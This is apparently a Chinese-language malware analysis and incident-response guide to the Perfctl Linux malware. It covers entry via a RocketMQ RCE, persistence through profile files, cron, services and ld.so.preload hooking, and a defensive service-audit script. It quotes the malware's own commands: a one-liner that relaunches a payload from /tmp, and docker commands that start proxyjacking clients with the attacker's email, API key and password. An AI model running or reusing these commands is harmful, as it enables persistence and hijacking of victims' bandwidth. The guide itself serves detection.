攻击分析
失陷
Perfctl利用RocketMQ RCE漏洞(CVE-2023-33246 )或2w多种类型的配置错误进行外部攻击以获得shell
。
类别 | 路径计数 | 示例路径 | 潜在漏洞 |
---|---|---|---|
凭据 | 1,717 | /access_credentials.json、/access_keys.json、/accesskeys.php | 未经授权访问凭据、敏感令牌或密钥泄露的可能性 |
配置 | 12,196 | 典型文件包括 .conf、.ini、.json .xml 配置 | 错误配置可能导致安全漏洞 |
登录 | 1,362 | 路径包括 login、auth、signin、admin 相关文件 | 通过登录界面进行未经授权的访问的风险 |
未知 | 4,647 | 路径不符合上述类别 | 未知,需要进一步调查 |
攻击流程
通过失陷中获得的shell
,从攻击者的HTTP服务获取初始的payload
置于tmp
目录下。该payload
执行后会将自身从内存复制到 /tmp/.perc.c
目录中的新位置赋予执行权限。从那里运行新的二进制文件,终止原始进程,然后删除初始二进制文件。
恶意软件会将自身复制到各个文件
- /root/.config/cron/perfcc
- /usr/bin/perfcc
- /bin/perf
- /bin/perfcc
- /lib/libpprocps.so
- /usr/lib/libpprocps.so
- /usr/lib/libfsnldev.so
恶意软件还会修改或创建以下文件以及目录
-
/usr/bin/wizlmsh
:用于保证perfctl 恶意软件的持续存在 -
/tmp/.xdiag
:与恶意软件使用Unix 套接字进行内部通信,使用 TOR 进行外部通信相关
权限维持痕迹
环境变量
env
寻找环境变量中可疑的值
可以看到对应目录下放置了许多恶意命令用于替换。
配置文件
/etc/profile
它定义了系统的全局环境变量和启动脚本,主要用于为所有用户设置环境变量和shell配置。当用户登录系统时,这个文件会被执行,通常它还会加载每个用户的个人配置文件 ~/.bash_profile
、~/.bash_login
或 ~/.profile
中的设置。
这里作用是增加了恶意的环境变量。
/root/.bash_profile
当对应用户登录时,这个文件会被读取并执行其中的命令,可重点关注其中执行的可疑文件和用.
执行可疑配置文件。
这里作用是登录就会执行恶意软件。
计划任务
寻找可疑的计划任务
/etc/cron.d/任务名
/var/spool/cron/root
用cat
命令查看计划任务文件时候最好加上-A
参数显示所有字符,如果攻击者插入\r
后面的字符会覆盖前面的字符。
服务
排查可疑的服务并查看其启动命令以便确认
systemctl list-units --type=service
列出所有服务单元
发现可疑服务,查看其服务文件路径,再根据其服务文件路径查看该服务的启动命令
systemctl status kmodaudit.service
发现其启动命令为恶意软件
为了减少排查量可以编写一个shell脚本根据服务修改时间来快速排查
#!/bin/bash
while getopts ":d:" opt; do
case ${opt} in
d )
days=${OPTARG}
;;
\? )
echo "Invalid option: -$OPTARG" 1>&2
exit 1
;;
: )
echo "Invalid option: -$OPTARG requires an argument" 1>&2
exit 1
;;
esac
done
shift $((OPTIND -1))
if [ -z "$days" ]; then
echo "Usage: $0 -d <days>"
exit 1
fi
services=$(systemctl list-units --type=service --all --no-pager)
echo "$services" | while read -r service; do
service_name=$(echo "$service" | awk '{print $1}')
if [[ "$service_name" =~ ^[a-zA-Z0-9\.\-\_]+$ ]]; then
status_output=$(systemctl status "$service_name" 2>/dev/null)
if echo "$status_output" | grep -q "Loaded: loaded"; then
service_path=$(echo "$status_output" | grep "Loaded: loaded" | sed -r 's/.*\(([^;]+).*/\1/')
if [ -f "$service_path" ]; then
if find "$service_path" -mtime -"$days" | grep -q "$service_path"; then
exec_start=$(grep '^ExecStart' "$service_path")
if [ ! -z "$exec_start" ]; then
echo "Service: $service_path $exec_start"
fi
echo ""
fi
fi
fi
fi
done
恶意动态链接库
/etc/ld.so.preload
它用于指定在动态链接器(dynamic linker)加载程序所需的共享库之前要预加载的共享库列表。这个文件在系统启动过程中或在程序执行前发挥作用,用于确保指定的共享库先于其他库被加载,从而可以覆盖某些函数或提供某些函数的自定义版本。
根据文件Hash搜索威胁情报
这里作用是劫持正常命令替换为恶意命令
进程链接了恶意.so
库
使用lsof -p 端口号
来检查进程都加载了哪些.so
库
发现恶意动态链接库被加载
写一个shell
脚本对所有进程进行动态链接库的检查
发现以上进程都加载了恶意动态链接库
libgcwrap.so
libgcwrap.so在权限维持和隐藏恶意行为中有着重大的作用。
libgcwrap.so由perftl释放,将路径写入/etc/ld.so.preload的,用于注入到后续启动的所有进程,来hook常见的函数并增加自己的逻辑。
其中被注入的函数最开始都会调用gwrap_init()
-
初始化注入:解密字符串
-
如果是root用户,且未初始化,而且环境变量的值也未取到,线程中创建的fd也为0,则重新拉起线程
-
start_routine 线程
-
记录当前pid到:/tmp/.xdiag/wtp
-
获取主程序文件路径和大小
- 从
/tmp/.xdiag/cp
中获取主程序完整路径 - /lib/libfsnldev.so
- /dev/shm/libfsnldev.so
- 从
-
如果进程pid不存在,并且当前时间减去
/tmp/.xdiag/ua
中存放的时间,超过3699
秒,即距离上次运行超过60min。则将上面读取到的主程序,写入/tmp/javax64
,之后再用以下命令启动主程序:PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=128 KRI=kr javax64 >/dev/null 2>&1 &
-
- 后续就是一些检查操作
利用分析
用于各种代理劫持占用闲置流量带宽赚取挂机收益
speedshare.app
earn.fm
bitping.com
repocket.com
在恶意软件初始配置执行了恶意脚本,包含以下内容
docker -H $DKSKF run -d --rm -e AAZHDE=1 -e RP_EMAIL=web3evo@protonmail.com -e RP_API_KEY=da9d8d4c-4fda-46bc-a4ce-39a9b60b7ae7 --name rpk repocket/repocket:latest
traffmonetizer.com
pawns.app
docker -H $DKSKF run -d --rm -e AAZHDE=1 --name ipr iproyal/pawns-cli:latest -email=web3evo@protonmail.com -password='FOIMRHrBb55GM4IMF' -device-name="$devnam" -device-id="${devnam}" -accept-tos
packetstream.io
docker -H $DKSKF run -d --rm -e AAZHDE=1 -e CID=6NOK --name pst packetstream/psclient:latest